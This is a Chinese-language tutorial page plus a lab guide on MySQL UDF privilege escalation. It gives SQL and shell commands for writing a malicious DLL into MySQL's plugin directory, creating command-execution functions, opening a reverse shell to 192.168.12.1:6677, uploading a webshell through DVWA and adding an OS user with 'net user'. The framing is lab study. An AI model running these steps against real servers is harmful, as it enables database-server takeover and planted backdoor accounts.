MySQL UDF 提权

Posted shavchen

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL UDF 提权相关的知识,希望对你有一定的参考价值。

概述

UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 mysql 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 一样方便。

UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限,从而达到提权的目的。

要实现 UDF 提权需要有一个动态链接库文件

  • 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。
  • 如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\\Windows\\System32。

复现

实验环境

MySQL 5.7.28
phpstudy
MacOS

获取动态链接库

  1. SQLMap 的udf提权动态链接库

    sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。
    可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

    python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
    
  2. Metasploit 的udf提权动态链接库

寻找插件目录

接下来需要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询插件目录:

show variables like '%plugin%';


如果不存在 plugin_dir 的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \\lib\\plugin 文件夹。
查看安装目录的方法:

select @@basedir;

写入动态链接库

前提条件

SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
查询:show variables like ‘%secure%’

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
修改方法:在my.ini,查找secure_file_priv。
- 1 存在,修改为secure_file_priv=。
- 2 不存在,则在[mysqld]下,新增secure_file_priv=。

这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。

将 动态链接库 读取为 HEX,

SELECT hex(load_file('/lib_mysqludf_sys_64.so'));


windows环境下使用.dll文件。

然后再写入到插件目录。

SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';



成功写入到插件目录。

创建函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

执行命令

攻击者可以利用 udf.dll 提供的函数执行系统命令。

可以看到通过自定义函数已经获取到了最高系统权限。
通过 drop function sys_eval; 可以删除创建的函数。

Navicat通过隧道连接内网MySQL


将Navicat自带的ntunnel_mysql脚本上传到目标服务器上

然后使用 http 隧道即可建立连接。

反弹Shell

上传一个支持反弹shell的动态链接库 udf.dll

mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
mysql> select backshell("192.168.12.1",6677);

Mysql提权-基于Mysql的UDF提权(Windows系统)1

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

基于Mysql的UDF提权(Windows系统)1

【实验目的】

??通过本实验理解如何通过webshell结合dll文件对Windows系统进行UDF提权,掌握UDF提权的基本思路,熟悉UDF提权的主要方法。

【实验环境】

攻击机:Win2008-att
用户名college,密码360College
webshell脚本:dama.php
udf提权脚本:udf.php

目标靶机:Win2003-DVWA
用户名college,密码360College

【实验原理】

??UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就像使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。

【实验步骤】

??1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。

技术图片

??2.在攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。

网站的URL为:http://【靶机IP地址】/dvwa

登录用户名为admin,密码为password

技术图片

??3.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。

技术图片

??4.选择网站左侧菜单“File Upload”,将攻击机Win2008-att桌面文件夹Tools中的dama.php(实验中所用的webshell)文件上传至靶机。

技术图片

??5.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:

http://【靶机IP地址】/dvwa/hackable/uploads/dama.php

技术图片

??出现登录提示框时,输入密码hucyuansheng登录。

??6.成功登录dama.php后,选择左侧菜单“信息操作”->“上传文件”,将攻击机Win2008-att桌面文件夹Tools中的udf.php文件上传至靶机。默认上传路径为dama.php所在的目录,即C:/Program Files/phpStudy/WWW/DVWA/hackable/uploads。

技术图片

??7.仍然在dama.php主界面上,选择左侧菜单“本地磁盘”->“本地磁盘(C:)”,在C:/Program Files/phpStudy/MySQL/lib目录下创建名为plugin的文件夹。

技术图片

??8.在攻击机上,利用Firefox浏览器连接目标靶机上的udf.php脚本。

URL为:http://【靶机IP地址】/dvwa/hackable/uploads/udf.php

host:127.0.0.1

mysql账号:root

密码:root

数据库名:mysql

技术图片

??9.udf.php连接成功后,在“DLL导出路径”处填写C:\Program Files\phpStudy\MySQL\lib\plugin\udf.dll,并点击“导出到此目录”按钮。如果执行成功,udf.dll文件将被导出至指定目录。

技术图片

??注:(1)在填写DLL导出路径时,应使用“\”(双反斜杠)。

??(2)MySQL数据库的版本不同,导出路径也不尽相同。当MySQL版本<5.0时,导出路径随意;如果5.0<=MySQL版本<5.1,则需要导出至目标服务器的系统目录(如:system32);如果MySQL版本>5.1,则需要导出至MySQL数据库插件的安装目录,本例中为C:Program FilesphpStudyMySQLlibplugin。由于plugin目录默认是不存在的,因此在本实验的第7步中需要利用webshell创建该目录。

??10.udf.dll导出成功后,仍然在udf.php主界面执行下列命令,创建cmdshell函数:

create function cmdshell returns string soname ‘udf.dll’;

技术图片

??11.如果cmdshell函数创建成功,则可利用该函数在靶机操作系统中添加名为admin12的用户,所用命令为:

select cmdshell(‘net user admin12 admin12 /add’);

技术图片

??12.在靶机上验证攻击效果:在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“admin12”。

技术图片

??实验至此结束。

【思考与总结】

??通过本次实验,掌握了利用webshell结合dll文件对Windows系统进行UDF提权的方法。

以上是关于MySQL UDF 提权的主要内容,如果未能解决你的问题,请参考以下文章

MySQL提权之udf提权(无webshell的情况)

MySQL提权之udf提权(无webshell的情况)

Mysql提权-基于Mysql的UDF提权(Windows系统)1

Mysql提权-基于Mysql的UDF提权(Linux系统)

MySQL数据库UDF提权学习

MySQL提权之udf提权